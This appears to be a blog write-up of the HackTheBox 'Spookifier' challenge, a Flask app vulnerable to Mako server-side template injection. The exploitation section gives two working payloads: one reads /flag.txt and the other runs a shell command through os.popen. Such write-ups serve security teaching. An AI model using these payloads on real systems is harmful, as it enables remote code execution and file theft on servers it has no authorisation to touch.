HackTheBox Challenge Write-Up: Spookifier

Spookifier Challenge on HackTheBox

Challenge Description

There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?


Overview

When I first looked at the challenge, I noticed it was a simple Flask application with a single page. The page had one text input field. Whatever you type inside it gets appended as a text query parameter in the URL, and the app displays four “spooky” variations of your input.

So far, nothing unusual. But as always with CTF challenges — there’s something hidden beneath.


Finding the Vulnerability

Digging into the source code, I found this in routes.py:

@web.route('/')
def index():
text = request.args.get('text')
if(text):
converted = spookify(text)
return render_template('index.html',output=converted)
return render_template('index.html',output='')

So, whenever the text query parameter is present, the application calls the spookify function (defined in util.py) and passes the input to it.

Inside util.py, the change_font function takes our input and applies four different “fonts” to it. These four spooky versions are then combined and rendered into an HTML template using Mako templates:

def generate_render(converted_fonts):
result = '''
<tr>
<td>{0}</td>
</tr>

<tr>
<td>{1}</td>
</tr>

<tr>
<td>{2}</td>
</tr>

<tr>
<td>{3}</td>
</tr>

'''.format(*converted_fonts)

return Template(result).render()

At this point, alarm bells went off. The app was directly rendering user-controlled input inside a Mako template. This is a classic setup for Server-Side Template Injection (SSTI).

Looking closely at the fonts defined, the fourth font (font4) contains all the regular ASCII characters—including <, %, and >. This meant we could inject raw Mako template payloads through that path.


Exploiting the SSTI Vulnerability

After confirming Mako was the templating engine, I researched payloads for SSTI in Mako. Two payloads worked perfectly for reading files from the server, specifically flag.txt.

<% context.write(open('/flag.txt').read()) %>

Or, alternatively:

<% import os; context.write(os.popen('cat /flag.txt').read()) %>

Injecting either payload into the text field revealed the contents of the flag.txt file in the fourth spooky output.


Conclusion

This challenge was a neat example of why direct rendering of user input into templates is dangerous.

Key takeaways:

  • Mako template injection is less commonly seen compared to Jinja2, but just as dangerous.
  • Always sanitize or sandbox user input before rendering templates.
  • The presence of “innocent” features like fancy text converters can sometimes mask serious vulnerabilities.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top